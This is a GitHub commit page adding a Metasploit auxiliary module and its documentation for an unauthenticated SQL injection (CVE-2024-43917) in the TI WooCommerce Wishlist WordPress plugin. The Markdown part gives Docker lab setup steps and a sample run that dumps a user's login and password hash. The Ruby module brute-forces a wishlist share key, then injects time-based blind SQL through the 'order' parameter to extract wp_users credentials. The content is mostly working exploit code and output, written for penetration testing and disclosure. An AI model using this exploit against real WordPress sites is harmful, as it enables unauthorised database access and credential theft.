Skip to content

Commit 95e64a0

Browse files
committed
Add module for TI WooCommerce Wishlist SQL Injection (CVE-2024-43917)
1 parent d2b4175 commit 95e64a0

File tree

2 files changed

+253
-0
lines changed

2 files changed

+253
-0
lines changed
Lines changed: 148 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,148 @@
1+
## Vulnerable Application
2+
3+
The vulnerability affects the **TI WooCommerce Wishlist** plugin for WordPress,
4+
versions **up to 2.8.2**, allowing **unauthenticated SQL injection** via specific parameters.
5+
The **WooCommerce** plugin is also required for the setup.
6+
7+
### Pre-requisites:
8+
- **Docker** and **Docker Compose** installed.
9+
10+
### Setup Instructions:
11+
12+
1. **Download the Docker Compose file**:
13+
Save the following content in a `docker-compose.yml` file:
14+
15+
```yaml
16+
version: '3.1'
17+
18+
services:
19+
wordpress:
20+
image: wordpress:latest
21+
restart: always
22+
ports:
23+
- 5555:80
24+
environment:
25+
WORDPRESS_DB_HOST: db
26+
WORDPRESS_DB_USER: chocapikk
27+
WORDPRESS_DB_PASSWORD: dummy_password
28+
WORDPRESS_DB_NAME: exploit_market
29+
mem_limit: 512m
30+
volumes:
31+
- wordpress:/var/www/html
32+
33+
db:
34+
image: mysql:5.7
35+
restart: always
36+
environment:
37+
MYSQL_DATABASE: exploit_market
38+
MYSQL_USER: chocapikk
39+
MYSQL_PASSWORD: dummy_password
40+
MYSQL_RANDOM_ROOT_PASSWORD: '1'
41+
volumes:
42+
- db:/var/lib/mysql
43+
44+
volumes:
45+
wordpress:
46+
db:
47+
```
48+
49+
2. **Start the Docker environment**:
50+
Run the following command in the directory where you saved the `docker-compose.yml` file:
51+
52+
```bash
53+
docker-compose up -d
54+
```
55+
56+
3. **Install WooCommerce and TI WooCommerce Wishlist Plugins**:
57+
- Download the WooCommerce and TI WooCommerce Wishlist plugins:
58+
59+
```bash
60+
wget https://downloads.wordpress.org/plugin/woocommerce.9.3.3.zip
61+
wget https://downloads.wordpress.org/plugin/ti-woocommerce-wishlist.2.8.2.zip
62+
```
63+
64+
- Install the plugins by copying them into your WordPress container:
65+
66+
```bash
67+
unzip woocommerce.9.3.3.zip
68+
docker cp woocommerce wordpress:/var/www/html/wp-content/plugins/
69+
70+
unzip ti-woocommerce-wishlist.2.8.2.zip
71+
docker cp ti-woocommerce-wishlist wordpress:/var/www/html/wp-content/plugins/
72+
```
73+
74+
4. **Activate WooCommerce and TI WooCommerce Wishlist Plugins**:
75+
- Navigate to `http://localhost:5555/wp-admin` in your browser, and activate both
76+
**WooCommerce** and **TI WooCommerce Wishlist** plugins.
77+
- Complete the WooCommerce setup wizard to ensure the plugin is properly
78+
initialized, including configuring the site through the "Customize Site" option.
79+
80+
## Verification Steps
81+
82+
1. **Set up WordPress** with the vulnerable **TI WooCommerce Wishlist 2.8.2** and **WooCommerce** plugins.
83+
2. **Start Metasploit** using `msfconsole`.
84+
3. Use the appropriate module for the vulnerability:
85+
86+
```bash
87+
use auxiliary/scanner/http/wp_ti_woocommerce_wishlist_sqli
88+
```
89+
90+
4. Set the target's IP and URI:
91+
92+
```bash
93+
set RHOST <target_ip>
94+
set TARGETURI /
95+
```
96+
97+
5. **Run the module**:
98+
99+
```bash
100+
run
101+
```
102+
103+
6. **Verify the SQL Injection**:
104+
The SQL injection will attempt to retrieve or manipulate data from the WordPress database through the `order` parameter.
105+
106+
## Options
107+
108+
### PRODUCT_ID_MIN and PRODUCT_ID_MAX
109+
These options specify the range of `product_id` values used to bruteforce the product
110+
during the SQL injection attack.
111+
The default range is from 1 to 100, but this can be adjusted based on your target.
112+
113+
### COUNT
114+
This option specifies the number of rows to retrieve from the database during the SQL injection attack.
115+
116+
## Scenarios
117+
118+
The following scenario demonstrates an SQL injection attack against a WordPress
119+
installation running **TI WooCommerce Wishlist 2.8.2** with **WooCommerce** in a Docker environment.
120+
121+
### Step-by-step Scenario
122+
123+
```bash
124+
msf6 auxiliary(scanner/http/wp_ti_woocommerce_wishlist_sqli) > run http://127.0.0.1:5555
125+
126+
[*] Testing Product IDs from 0 to 100, please wait...
127+
[+] Share key found: e93cca
128+
[*] Performing SQL Injection using share key: e93cca
129+
[*] SQL Injection successful, retrieving user credentials...
130+
[*] {SQLi} Executing (SELECT 4 FROM information_schema.tables WHERE table_name = 'wp_users')
131+
[*] {SQLi} Encoded to (SELECT 4 FROM information_schema.tables WHERE table_name = 0x77705f7573657273)
132+
[*] {SQLi} Time-based injection: expecting output of length 1
133+
[*] {WPSQLi} Retrieved default table prefix: 'wp_'
134+
[*] {SQLi} Executing (select group_concat(CvjX) from (select cast(concat_ws(';',ifnull(user_login,''),ifnull(user_pass,'')) as binary) CvjX from wp_users limit 1) cUla)
135+
[*] {SQLi} Encoded to (select group_concat(CvjX) from (select cast(concat_ws(0x3b,ifnull(user_login,repeat(0x2f,0)),ifnull(user_pass,repeat(0x8c,0))) as binary) CvjX from wp_users limit 1) cUla)
136+
[*] {SQLi} Time-based injection: expecting output of length 44
137+
[*] {WPSQLi} Dumped user data:
138+
wp_users
139+
========
140+
141+
user_login user_pass
142+
---------- ---------
143+
chocapikk $P$BPdY0XccQT2nvSXE8bjsn1CERoF7eJ.
144+
145+
[+] Loot saved to: /home/chocapikk/.msf4/loot/20240930123016_default_127.0.0.1_wordpress.users_970346.txt
146+
[*] Scanned 1 of 1 hosts (100% complete)
147+
[*] Auxiliary module execution completed
148+
```
Lines changed: 105 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,105 @@
1+
class MetasploitModule < Msf::Auxiliary
2+
include Msf::Auxiliary::Scanner
3+
include Msf::Exploit::Remote::HTTP::Wordpress
4+
include Msf::Exploit::Remote::HTTP::Wordpress::SQLi
5+
6+
def initialize(info = {})
7+
super(
8+
update_info(
9+
info,
10+
'Name' => 'WordPress TI WooCommerce Wishlist SQL Injection (CVE-2024-43917)',
11+
'Description' => %q{
12+
The TI WooCommerce Wishlist plugin <= 2.8.2 is vulnerable to an unauthenticated SQL injection, allowing attackers to retrieve sensitive information.
13+
},
14+
'Author' => [
15+
'Rafie Muhammad', # Vulnerability Discovery
16+
'Valentin Lobstein' # Metasploit Module
17+
],
18+
'License' => MSF_LICENSE,
19+
'References' => [
20+
['CVE', '2024-43917'],
21+
['WPVDB', 'e994753e-ce18-48cf-8087-897ec8db2eef'],
22+
['URL', 'https://patchstack.com/articles/unpatched-sql-injection-vulnerability-in-ti-woocommerce-wishlist-plugin/']
23+
],
24+
'Actions' => [
25+
['Retrieve Share Key and Perform SQLi', { 'Description' => 'Retrieve share key and perform SQL Injection' }]
26+
],
27+
'DefaultAction' => 'Retrieve Share Key and Perform SQLi',
28+
'DefaultOptions' => { 'VERBOSE' => true, 'COUNT' => 1 },
29+
'DisclosureDate' => '2024-09-25',
30+
'Notes' => {
31+
'Stability' => [CRASH_SAFE],
32+
'SideEffects' => [IOC_IN_LOGS],
33+
'Reliability' => []
34+
}
35+
)
36+
)
37+
38+
register_options [
39+
OptInt.new('PRODUCT_ID_MIN', [true, 'Minimum Product ID to bruteforce', 0]),
40+
OptInt.new('PRODUCT_ID_MAX', [true, 'Maximum Product ID to bruteforce', 100])
41+
]
42+
end
43+
44+
def get_share_key
45+
min = datastore['PRODUCT_ID_MIN']
46+
max = datastore['PRODUCT_ID_MAX']
47+
print_status("Testing Product IDs from #{min} to #{max}, please wait...")
48+
49+
(min..max).each do |product_id|
50+
post_data = Rex::MIME::Message.new
51+
post_data.add_part('', nil, nil, 'form-data; name="tinv_wishlist_id"')
52+
post_data.add_part(product_id.to_s, nil, nil, 'form-data; name="product_id"')
53+
post_data.add_part('addto', nil, nil, 'form-data; name="product_action"')
54+
55+
res = send_request_cgi({
56+
'method' => 'POST',
57+
'uri' => normalize_uri(target_uri.path),
58+
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
59+
'data' => post_data.to_s
60+
})
61+
62+
next unless res&.code == 200
63+
64+
json_body = res.get_json_document
65+
wishlist_data = json_body['wishlists_data']['products']
66+
67+
if wishlist_data && !wishlist_data.empty?
68+
share_key = json_body['wishlist']['share_key']
69+
return print_good("Share key found: #{share_key}") && share_key if share_key
70+
end
71+
end
72+
73+
fail_with(Failure::NotFound, 'No valid product ID found.')
74+
end
75+
76+
def run_host(_ip)
77+
share_key = get_share_key
78+
print_status("Performing SQL Injection using share key: #{share_key}")
79+
80+
@sqli = create_sqli(dbms: MySQLi::TimeBasedBlind, opts: { hex_encode_strings: true }) do |payload|
81+
res = send_request_cgi({
82+
'method' => 'POST',
83+
'uri' => target_uri.path,
84+
'vars_get' => {
85+
'_method' => 'GET',
86+
'order' => ",(SELECT #{payload})--"
87+
},
88+
'vars_post' => {
89+
'rest_route' => "/wc/v3/wishlist/#{share_key}/get_products"
90+
},
91+
'keep_cookies' => true
92+
})
93+
94+
fail_with(Failure::Unreachable, 'Connection failed') unless res
95+
end
96+
97+
if @sqli.test_vulnerable
98+
print_status('SQL Injection successful, retrieving user credentials...')
99+
wordpress_sqli_initialize(@sqli)
100+
wordpress_sqli_get_users_credentials(datastore['COUNT'])
101+
else
102+
fail_with(Failure::NotVulnerable, 'Target is not vulnerable to SQL injection.')
103+
end
104+
end
105+
end

0 commit comments

Comments
 (0)